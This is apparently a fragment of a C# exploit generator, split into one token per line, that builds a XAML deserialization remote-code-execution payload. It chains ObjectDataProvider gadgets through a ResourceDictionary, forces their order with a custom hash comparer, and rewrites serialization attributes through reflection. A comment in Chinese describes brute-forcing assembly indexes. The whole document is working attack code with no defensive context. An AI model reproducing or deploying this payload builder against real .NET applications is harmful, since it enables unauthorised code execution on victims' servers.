public
class
MyEqualityComparer : IEqualityComparer
{
private
int
objcount
=
0
;
public MyEqualityComparer(
int
countfrom)
{
objcount
=
countfrom;
}
public
int
GetHashCode(
object
obj)
{
int
ret
=
0
;
if
(obj !
=
null)
{
string objstr
=
obj.ToString();
if
(objstr.StartsWith(
"odp"
))
{
string strint
=
objstr.Substring(
3
);
ret
=
objcount
+
1
-
int
.Parse(strint);
}
}
return
ret;
}
}
public static void FixObjectDataProvider(
object
obj)
{
foreach (PropertyDescriptor
property
in
TypeDescriptor.GetProperties(obj))
{
if
(
property
.Name
=
=
"MethodParameters"
)
{
PropertyInfo attprop
=
typeof(MemberDescriptor).GetProperty(
"AttributeArray"
,
BindingFlags.Instance | BindingFlags.NonPublic);
Attribute[] AttributeArray
=
attprop.GetValue(
property
) as Attribute[];
List
<Attribute> AttributeArraynew
=
new
List
<Attribute>();
AttributeArraynew.AddRange(AttributeArray);
bool
fid
=
false;
for
(
int
i
=
0
; i < AttributeArraynew.Count; i
+
+
)
{
if
(AttributeArraynew[i]
is
DesignerSerializationVisibilityAttribute)
{
AttributeArraynew[i]
=
DesignerSerializationVisibilityAttribute.Content;
fid
=
true;
}
}
if
(!fid)
{
AttributeArraynew.Add(DesignerSerializationVisibilityAttribute.Content);
}
attprop.SetValue(
property
, AttributeArraynew.ToArray());
}
}
}
/
/
程序集索引暴力搜索
public string xamlrcepayload(
int
asm_index)
{
var myResourceDictionary
=
new ResourceDictionary();
string odp1name
=
"odp1"
;
string odp2name
=
"odp2"
;
string odp3name
=
"odp3"
;
string odp4name
=
"odp4"
;
string odp5name
=
"odp5"
;
string odp6name
=
"odp6"
;
string odp7name
=
"odp7"
;
string odp8name
=
"odp8"
;
var odp1
=
new ObjectDataProvider();
/
/
AppDomain.CurrentDomain
odp1.ObjectType
=
typeof(System.Threading.Thread);
odp1.MethodName
=
"GetDomain"
;
StaticResourceExtension odpext1
=
new StaticResourceExtension(odp1name);
ObjectDataProvider odp2
=
new ObjectDataProvider();
odp2.MethodName
=
"GetAssemblies"
;
odp2.ObjectInstance
=
odpext1;
ObjectDataProvider odp3
=
new ObjectDataProvider();
odp3.MethodName
=
"GetValue"
;
StaticResourceExtension odpext2
=
new StaticResourceExtension(odp2name);
odp3.ObjectInstance
=
odpext2;
odp3.MethodParameters.Add(asm_index);
ObjectDataProvider odp4
=
new ObjectDataProvider();
odp4.MethodName
=
"GetTypes"
;
StaticResourceExtension odpext3
=
new StaticResourceExtension(odp3name);
odp4.ObjectInstance
=
odpext3;
ObjectDataProvider odp5
=
new ObjectDataProvider();
odp5.MethodName
=
"GetValue"
;
StaticResourceExtension odpext4
=
new StaticResourceExtension(odp4name);
odp5.ObjectInstance
=
odpext4;
odp5.MethodParameters.Add(
0
);
ObjectDataProvider odp6
=
new ObjectDataProvider();
odp6.MethodName
=
"GetProperty"
;
odp6.MethodParameters.Add(
"fakeobbj"
);
odp6.MethodParameters.Add(BindingFlags.Public | BindingFlags.Static);
StaticResourceExtension odpext5
=
new StaticResourceExtension(odp5name);
odp6.ObjectInstance
=
odpext5;
ObjectDataProvider odp7
=
new ObjectDataProvider();
odp7.MethodName
=
"GetCustomAttributes"
;
StaticResourceExtension odpext6
=
new StaticResourceExtension(odp6name);
odp7.ObjectInstance
=
odpext6;
odp7.MethodParameters.Add(false);
FieldInfo fi_baseDictionary
=
myResourceDictionary.GetType().GetField(
"_baseDictionary"
, BindingFlags.NonPublic | BindingFlags.Instance);
FieldInfo fi_keycomparer
=
typeof(Hashtable).GetField(
"_keycomparer"
, BindingFlags.NonPublic | BindingFlags.Instance);
Hashtable hstbl
=
(Hashtable)fi_baseDictionary.GetValue(myResourceDictionary);
MyEqualityComparer mycmp
=
new MyEqualityComparer(
8
);
fi_keycomparer.SetValue(hstbl, mycmp);
myResourceDictionary.Add(odp1name, odp1);
myResourceDictionary.Add(odp2name, odp2);
myResourceDictionary.Add(odp3name, odp3);
myResourceDictionary.Add(odp4name, odp4);
myResourceDictionary.Add(odp5name, odp5);
myResourceDictionary.Add(odp6name, odp6);
myResourceDictionary.Add(odp7name, odp7);
foreach (DictionaryEntry o
in
myResourceDictionary)
{
FixObjectDataProvider(o.Value);
}
return
Xaml_serialize(myResourceDictionary);
}